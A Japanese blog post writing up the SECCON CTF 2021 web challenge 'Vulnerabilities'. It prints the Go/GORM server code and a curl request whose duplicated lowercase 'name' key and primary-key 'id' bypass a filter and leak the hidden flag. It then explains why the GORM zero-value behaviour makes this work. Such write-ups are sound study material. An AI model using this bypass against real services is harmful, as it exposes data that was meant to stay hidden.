目次
とある日
CTFtime.org / SECCON CTF 2021に参加しました。
結果はwelcome問題しか解けずに終わりました。
かなり難しかったです。
なので、Writeupを見ながら復習を兼ねて記録を残します。
解答は他の方のWriteupとかを参考にしています。
Vulnerabilities
How many vulnerabilities do you know?
Webのカテゴリの問題
下記のプログラムがWebサーバーとして動いているのでそこからフラグを取得する。
プログラム
package main import ( "log" "os" "github.com/gin-contrib/static" "github.com/gin-gonic/gin" "github.com/gin-gonic/gin/binding" "gorm.io/driver/sqlite" "gorm.io/gorm" ) type Vulnerability struct { gorm.Model Name string Logo string URL string } func main() { gin.SetMode(gin.ReleaseMode) flag := os.Getenv("FLAG") if flag == "" { flag = "SECCON{dummy_flag}" } db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) if err != nil { log.Fatal("failed to connect database") } db.AutoMigrate(&Vulnerability{}) db.Create(&Vulnerability{Name: "Heartbleed", Logo: "/images/heartbleed.png", URL: "https://heartbleed.com/"}) db.Create(&Vulnerability{Name: "Badlock", Logo: "/images/badlock.png", URL: "http://badlock.org/"}) db.Create(&Vulnerability{Name: "DROWN Attack", Logo: "/images/drown.png", URL: "https://drownattack.com/"}) db.Create(&Vulnerability{Name: "CCS Injection", Logo: "/images/ccs.png", URL: "http://ccsinjection.lepidum.co.jp/"}) db.Create(&Vulnerability{Name: "httpoxy", Logo: "/images/httpoxy.png", URL: "https://httpoxy.org/"}) db.Create(&Vulnerability{Name: "Meltdown", Logo: "/images/meltdown.png", URL: "https://meltdownattack.com/"}) db.Create(&Vulnerability{Name: "Spectre", Logo: "/images/spectre.png", URL: "https://meltdownattack.com/"}) db.Create(&Vulnerability{Name: "Foreshadow", Logo: "/images/foreshadow.png", URL: "https://foreshadowattack.eu/"}) db.Create(&Vulnerability{Name: "MDS", Logo: "/images/mds.png", URL: "https://mdsattacks.com/"}) db.Create(&Vulnerability{Name: "ZombieLoad Attack", Logo: "/images/zombieload.png", URL: "https://zombieloadattack.com/"}) db.Create(&Vulnerability{Name: "RAMBleed", Logo: "/images/rambleed.png", URL: "https://rambleed.com/"}) db.Create(&Vulnerability{Name: "CacheOut", Logo: "/images/cacheout.png", URL: "https://cacheoutattack.com/"}) db.Create(&Vulnerability{Name: "SGAxe", Logo: "/images/sgaxe.png", URL: "https://cacheoutattack.com/"}) db.Create(&Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag}) r := gin.Default() // Return a list of vulnerability names // {"Vulnerabilities": ["Heartbleed", "Badlock", ...]} r.GET("/api/vulnerabilities", func(c *gin.Context) { var vulns []Vulnerability if err := db.Where("name != ?", flag).Find(&vulns).Error; err != nil { c.JSON(400, gin.H{"Error": "DB error"}) return } var names []string for _, vuln := range vulns { names = append(names, vuln.Name) } c.JSON(200, gin.H{"Vulnerabilities": names}) }) // Return details of the vulnerability // {"Logo": "???.png", "URL": "https://..."} r.POST("/api/vulnerability", func(c *gin.Context) { // Validate the parameter var json map[string]interface{} if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 1"}) return } if name, ok := json["Name"]; !ok || name == "" || name == nil { c.JSON(400, gin.H{"Error": "no \"Name\""}) return } // Get details of the vulnerability var query Vulnerability if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 2"}) return } var vuln Vulnerability if err := db.Where(&query).First(&vuln).Error; err != nil { c.JSON(404, gin.H{"Error": "not found"}) return } c.JSON(200, gin.H{ "Logo": vuln.Logo, "URL": vuln.URL, }) }) r.Use(static.Serve("/", static.LocalFile("static", false))) if err := r.Run(":8080"); err != nil { log.Fatal(err) } }
Flag獲得方法
hobby@LAPTOP-LCHFC35R:/mnt/c/Users/$ curl http://localhost:8080/api/vulnerability -X POST --data '{"Name":"b","name":"","id":14}' {"Logo":"/images/SECCON{dummy_flag}.png","URL":"seccon://SECCON{dummy_flag}"}
解説
まず、バリデーションをクリアします。
バリデーション
c にリクエストした文字列が入ります。
今回の場合'{"Name":"b","name":"","id":14}'
が入ります。
if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 1"}) return } if name, ok := json["Name"]; !ok || name == "" || name == nil { c.JSON(400, gin.H{"Error": "no \"Name\""}) return }
1つ目のifはJSON形式に則っているかをチェック。
'{"Name":"b","name":,"id":14}'
とかを弾く。
2つ目のifはリクエストの中にName
があるかをチェックかつ値があるかどうかをチェックしている。
'{"Name":"","name":,"id":14}'
とかを弾く。
2つ目のバリデーション
先ほどとチェックしている内容は同じですが、今度はVulnerability
の型に順しているかをチェックしています。
'{"Name":0,"id":14}'
だとエラーになる。
なぜなら文字列じゃないから。
type Vulnerability struct { gorm.Model Name string Logo string URL string }
そして問題ないならShouldBindBodyWithの返り値がqueryに格納される。
var query Vulnerability if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 2"}) return }
Where検索
vulnは先程のqueryと同じで返り値を格納するための変数として定義しています。
var vuln Vulnerability if err := db.Where(&query).First(&vuln).Error; err != nil { c.JSON(404, gin.H{"Error": "not found"}) return }
ここで重要なのは、Whereの振る舞いです。
レコードの取得 | GORM - The fantastic ORM library for Golang, aims to be developer friendly.
公式の例では下記のようなSQLに展開されます。
// Struct db.Where(&User{Name: "jinzhu", Age: 20}).First(&user) // SELECT * FROM users WHERE name = "jinzhu" AND age = 20 ORDER BY id LIMIT 1;
ここで注目するのはNameが小文字に変換されて比較されている点です。
つまり、今回のリクエストをもとにSQLを組み立てると下記のようになります。
SELECT * FROM users WHERE name = "" AND id = 14 ORDER BY id LIMIT 1;
ここでも、注目するところがあります。
おそらく内部的には下記の順番でSQLが構築されていると思ってます。
- Name = "b"
SELECT * FROM users WHERE name = "b";
- name = ""
SELECT * FROM users WHERE name = "";
←Nameとnameが小文字に変換されて同じ列と認識して値を空値に書き換える
- id = 14
SELECT * FROM users WHERE name = "" AND id = 14 ORDER BY id LIMIT 1;
さらにここが一番わからなくて悩んだのが、name=""
のリクエストです。
Nameがあるにも関わらずなぜ小文字でリクエストするのか、そしてなぜ空値なのか。
この答えはドキュメントにありました。
注 構造体を使ってクエリを実行するとき、GORMは非ゼロ値なフィールドのみを利用します。つまり、フィールドの値が
0
,''
,false
または他の ゼロ値の場合、 クエリ条件の作成に使用されません。以下例:db.Where(&User{Name: "jinzhu", Age: 0}).Find(&users)// SELECT * FROM users WHERE name = "jinzhu";
※0は3つ目のif文で型が一致しないので弾かれる、falseも同様にbool型に判定されるためだめ。
つまり先程の順番では最後は下記のようにSQLが構築されていると思います。
SELECT * FROM users WHERE id = 14 ORDER BY id LIMIT 1;
idを指定する意義としてはgorm.Modelを指定すると勝手にPrimary keyを作ってくれるため。
gorm.Model
GORMは
gorm.Model
構造体を定義しています。これにはID
,CreatedAt
,UpdatedAt
,DeletedAt
のフィールドが含まれます。// gorm.Modelの定義 type Model struct { ID uint `gorm:"primaryKey"` CreatedAt time.Time UpdatedAt time.Time DeletedAt gorm.DeletedAt `gorm:"index"` }
ちなみに、idが14という決め打ちなのはソースに一行ずつ挿入していてflagの行が14番目ということです。
おそらくgorm.modelのAUTO_INCREMENTを使うと1から連番になると思われます。
上記のSQLで検索されて対象のデータが取得できるという流れになります。
まとめ
ポイントとしては下記の点
- バリデーションを通るためのリクエスト
- gormで値を上書きするための小文字でKEY指定(Nameとかぶらなくて小文字でnameとなればなんでもいいですnaMeとかでも)
- gormで空値の検索の場合無視される
- gorm.ModelのPrimary key指定
〆
あらためて見るとドキュメントにすべて記載はありますがそれを初見で攻略するのは難易度高いと思いました。
環境構築とかはSECCONの公式GitHubが出たらやろうかなと思ってます。